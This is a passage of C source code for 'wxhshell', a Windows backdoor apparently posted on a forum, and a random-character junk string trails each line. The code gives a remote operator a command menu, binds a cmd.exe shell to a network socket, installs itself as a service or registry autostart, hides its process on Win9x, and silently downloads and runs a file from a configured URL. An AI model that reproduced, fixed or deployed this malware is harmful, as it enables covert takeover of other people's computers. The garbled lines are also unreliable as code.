  else Yz{UP)TC  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b}k`'++2,  
  } TNiF l hq  
  else { -<CBxyZa&  
JqFFI:Q5a  
    switch(cmd[0]) { < v0 d8  
  V_Y SYG9f  
  // 帮助 kbOo;<X9A  
  case '?': { ;i Ud3 '*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (8{h I  
    break; q \0>SG  
  } -KO E2f  
  // 安装 o2Z# 5-  
  case 'i': { 6B|IbQ^  
    if(Install()) Q2iu}~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P^.L0T5g  
    else BcA:M\dK%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C+2*m=r  
    break; wYS4#7  
    } `) K1[&  
  // 卸载 z`{Ld9W  
  case 'r': { .7cQKdvcC  
    if(Uninstall()) /z~;.jRg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z?1.Y7Npr  
    else ~F DJKGK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kjjO<x?&*  
    break; .pG_j]  
    } [%Y Cupr#  
  // 显示 wxhshell 所在路径 +d Ig&}Tr  
  case 'p': { >5)$Qtz#  
    char svExeFile[MAX_PATH]; }J"}poB:  
    strcpy(svExeFile,"\n\r"); >CNH=  
      strcat(svExeFile,ExeFile); APy&~`  
        send(wsh,svExeFile,strlen(svExeFile),0); \vojF\  
    break; -*+7-9A I  
    } 1 ^Ci$ra  
  // 重启 w_4`Wsn  
  case 'b': { *G2p;n=2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &5c)qap;n  
    if(Boot(REBOOT)) zJXU>'obe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tig`4d-%  
    else { O,XVA  
    closesocket(wsh); ^%*%=LJm  
    ExitThread(0); JKXs/r;:  
    } \JN?3}_J  
    break; zTm&m#){3A  
    } 'tp+g3V  
  // 关机 s#-`,jqD  
  case 'd': { 57D /"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %A:<rO85o  
    if(Boot(SHUTDOWN)) exZa:9 sp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +-K-CXt  
    else { YG!~v~sV  
    closesocket(wsh); oTT/;~I  
    ExitThread(0); S'vrO}yU  
    } )0~zL} )?  
    break; gz Qc  
    } 7s1FJm=Y/  
  // 获取shell )t&j0`Yq  
  case 's': { $oe:km1-D  
    CmdShell(wsh); `epO/Uu\~u  
    closesocket(wsh); ( *UMpdj  
    ExitThread(0); 6# ,2  
    break; c$bb0J%  
  } 45q-x_  
  // 退出 fPa FL}&  
  case 'x': { Q4}2-}|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); D$!(Iae  
    CloseIt(wsh); \:%e 6M  
    break; " :@5|4qK  
    } $yLsuqB}  
  // 离开 |^8l8u  
  case 'q': { #4DEb<D  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }e&   
    closesocket(wsh); d 0$)Y|d>  
    WSACleanup(); #-Ehg4W  
    exit(1); +t,JCY6  
    break; %9uLxC;  
        } yM=% a3  
  } ,J!G-?:@n  
  } fu"#C}{  
q% 2cx@c  
  // 提示信息 &X }GJLC3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Mx4 <F "9  
} 4&&((H  
  } 6"/cz~h  
n2Q~fx<6%  
  return; CcG{+-= H)  
} v&(PM{3o  
71Q-_Hi  
// shell模块句柄 DUFfk6#X}  
int CmdShell(SOCKET sock) ~bf-uHx  
{ =hjff/ X  
STARTUPINFO si; )C|[j@MD  
ZeroMemory(&si,sizeof(si)); 3#!}W#xv  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Akb#1Ww4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #kR8v[Z  
PROCESS_INFORMATION ProcessInfo; ! c4pFQB  
char cmdline[]="cmd"; "6[fqW65  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5k)/SAU0  
  return 0; a;r,*zZ="  
} B>AmH%f/  
[D=ba=r0X  
// 自身启动模式 j(AN] g:  
int StartFromService(void) " ;8H;U`  
{ ]p:s5Q  
typedef struct mG*[5?=r  
{ F\^9=}b_i  
  DWORD ExitStatus; :D\M.A  
  DWORD PebBaseAddress; #/=s74.b  
  DWORD AffinityMask; S|CN)8Jsi  
  DWORD BasePriority; fzT|{vG8  
  ULONG UniqueProcessId; *I:^g  
  ULONG InheritedFromUniqueProcessId; BGh1hyJ8d  
}   PROCESS_BASIC_INFORMATION; 3WHj|ENW  
h8iic  
PROCNTQSIP NtQueryInformationProcess; \fj* .[,  
ANR?An  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |08b=aR6ro  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; airg[dK  
p6VS<L  
  HANDLE             hProcess; Zi<Y?Vm/,O  
  PROCESS_BASIC_INFORMATION pbi; e* {'A  
"j#;MOK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); G~b/!clN  
  if(NULL == hInst ) return 0; i|?EgGFG  
,UNCBnv1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); FZf{kWH  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }TI"j{(QJ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); E4idEQ}H  
I?<5 %  
  if (!NtQueryInformationProcess) return 0; U$-Gc[=|  
OHTJQ5%zL  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); JVy-Y  
  if(!hProcess) return 0; ~\B1\ G  
I.As{0cc  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Tk\?$n  
t@m!k+0  
  CloseHandle(hProcess); v50w}w'  
< Ih)h$8`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); r {R879  
if(hProcess==NULL) return 0; n]{sBI3  
.dM4B'OA?  
HMODULE hMod; rWsUWA T*  
char procName[255]; v/gxQy+l  
unsigned long cbNeeded; j N":9+F  
&m<:&h& b  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); di $\\ Ah  
HG kL6o=  
  CloseHandle(hProcess); h \dq]yOl  
lrrNyaFn  
if(strstr(procName,"services")) return 1; // 以服务启动 3msb"|DG  
jNV)=s^ed[  
  return 0; // 注册表启动 H%y!lR{c^D  
} <vS3 [(  
{HoeK>rd  
// 主模块 YytO*^e}}  
int StartWxhshell(LPSTR lpCmdLine) m/TjXA8_  
{ LGu K@^  
  SOCKET wsl; m ioNMDG  
BOOL val=TRUE; rnX D(  
  int port=0; dA4DW  
  struct sockaddr_in door; p6P .I8g  
X^Dklqqy  
  if(wscfg.ws_autoins) Install(); /<zBjvr%%  
eI99itDQ  
port=atoi(lpCmdLine); EH1GdlhA  
iR(=< >  
if(port<=0) port=wscfg.ws_port; :qlcN@_  
tAPn? d5  
  WSADATA data; GS_+KR\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lJlyfN  
<yt|!p-tS  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #7(?B{i  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "wqN,}bj\  
  door.sin_family = AF_INET; Uphme8SX  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ': fq/k3;&  
  door.sin_port = htons(port); VDy2 !0  
Kd,8PV*_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { K9 G1>*  
closesocket(wsl); :[P)t %  
return 1; A?)nLp&Y  
} kz=Ql|@  
ZRCm'p3  
  if(listen(wsl,2) == INVALID_SOCKET) { $F&m('aB8  
closesocket(wsl); kxvzAKz~  
return 1; 4 q-/R  
} E]@$,)nC  
  Wxhshell(wsl); ?F=^& v8  
  WSACleanup(); L<dJWxf?D  
>G#SfE$0  
return 0; b9Fd}WZz  
X>-|px$vy  
} k4i*80  
o*5iHa(Qm  
// 以NT服务方式启动 yq7gBkS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) d1]1bN4`"0  
{ )/87<Y;o  
DWORD   status = 0; B:X,vE  
  DWORD   specificError = 0xfffffff; =5l20 Um  
\mo NpKf  
  serviceStatus.dwServiceType     = SERVICE_WIN32; IJ[r!&PY  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |^:qJ;dOP  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3:]c>GPQ  
  serviceStatus.dwWin32ExitCode     = 0; a%g|E'\Jw  
  serviceStatus.dwServiceSpecificExitCode = 0; ?Sj >b   
  serviceStatus.dwCheckPoint       = 0; 8GN_ 3pT  
  serviceStatus.dwWaitHint       = 0; lq'MLg  
%:S4OT8]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?:woUTyCv  
  if (hServiceStatusHandle==0) return; 84U?\f@u  
a*kvU"]  
status = GetLastError(); `AcUxnO  
  if (status!=NO_ERROR) #];b+ T  
{ XK+" x!   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Vd&&GI(:?^  
    serviceStatus.dwCheckPoint       = 0; gc6Zy|^V4`  
    serviceStatus.dwWaitHint       = 0; 4>t'4p6{  
    serviceStatus.dwWin32ExitCode     = status; on^m2pQ *p  
    serviceStatus.dwServiceSpecificExitCode = specificError; \>]C  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4it^-M  
    return; w! kWG,{C  
  } x9!3i{_  
{r>iUgg  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; j0wpaIp  
  serviceStatus.dwCheckPoint       = 0; |d)*,O4s  
  serviceStatus.dwWaitHint       = 0;  Q4R*yRk  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ye^*Z>|  
} d!P3<:+R[  
7ciSIJ  
// 处理NT服务事件,比如:启动、停止 ;}>g/lw  
VOID WINAPI NTServiceHandler(DWORD fdwControl) wJAJ /  
{ *DUP$@}k  
switch(fdwControl) iVSN>APe  
{ UE\Z] t!  
case SERVICE_CONTROL_STOP: :w,#RcW  
  serviceStatus.dwWin32ExitCode = 0; UFSbu5 j  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; my]t[%Q{  
  serviceStatus.dwCheckPoint   = 0; WeiDg,]e$b  
  serviceStatus.dwWaitHint     = 0; |PNPOj0  
  { m+!T $$W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 63PSYj(y  
  } fw3P?_4;*  
  return; ]. E/s(p  
case SERVICE_CONTROL_PAUSE: '#eY4d<i]n  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Y n7z#bu  
  break; r gw@  
case SERVICE_CONTROL_CONTINUE: EGMIw?%Y`-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; jY1^I26E  
  break; I6e[K(7NY  
case SERVICE_CONTROL_INTERROGATE: b2r]>*Vc  
  break; |L<p90  
}; Da3Z>/S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tv 7"4$T  
} 4`[2Te>  
nRHxbE}::  
// 标准应用程序主函数 VV+gPC  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) xO_u  
{ 8\VP)<<  
{9Ug9e{ ~  
// 获取操作系统版本 AW <"3 !@  
OsIsNt=GetOsVer(); ;O~k{5.iS  
GetModuleFileName(NULL,ExeFile,MAX_PATH); P _x(`H  
2 r';)8:  
  // 从命令行安装 =n ff;Xu  
  if(strpbrk(lpCmdLine,"iI")) Install(); E (.~[-K4  
`k.0d`3(  
  // 下载执行文件 )&{<gyS1  
if(wscfg.ws_downexe) { ,_M  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) r oM!%hb  
  WinExec(wscfg.ws_filenam,SW_HIDE); 93VbB[w~7F  
} `8lS)R!  
e.VQ!)>  
if(!OsIsNt) { K6EG"Vv!  
// 如果时win9x,隐藏进程并且设置为注册表启动 'ju'O#A9  
HideProc(); }bZb8hiG  
StartWxhshell(lpCmdLine); Ly P Cc|  
} $)#?4v<  
else  /~1Ew  
  if(StartFromService()) wTe 9OFv  
  // 以服务方式启动 PpLuN12H  
  StartServiceCtrlDispatcher(DispatchTable); 8|) $;.  
else N?s`a;Q[=  
  // 普通方式启动 Whl^~$+f  
  StartWxhshell(lpCmdLine); Wl0p-h  
mJ>msI @  
return 0; /T<))@$  
}
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只看该作者 1 发表于: 2006-10-10
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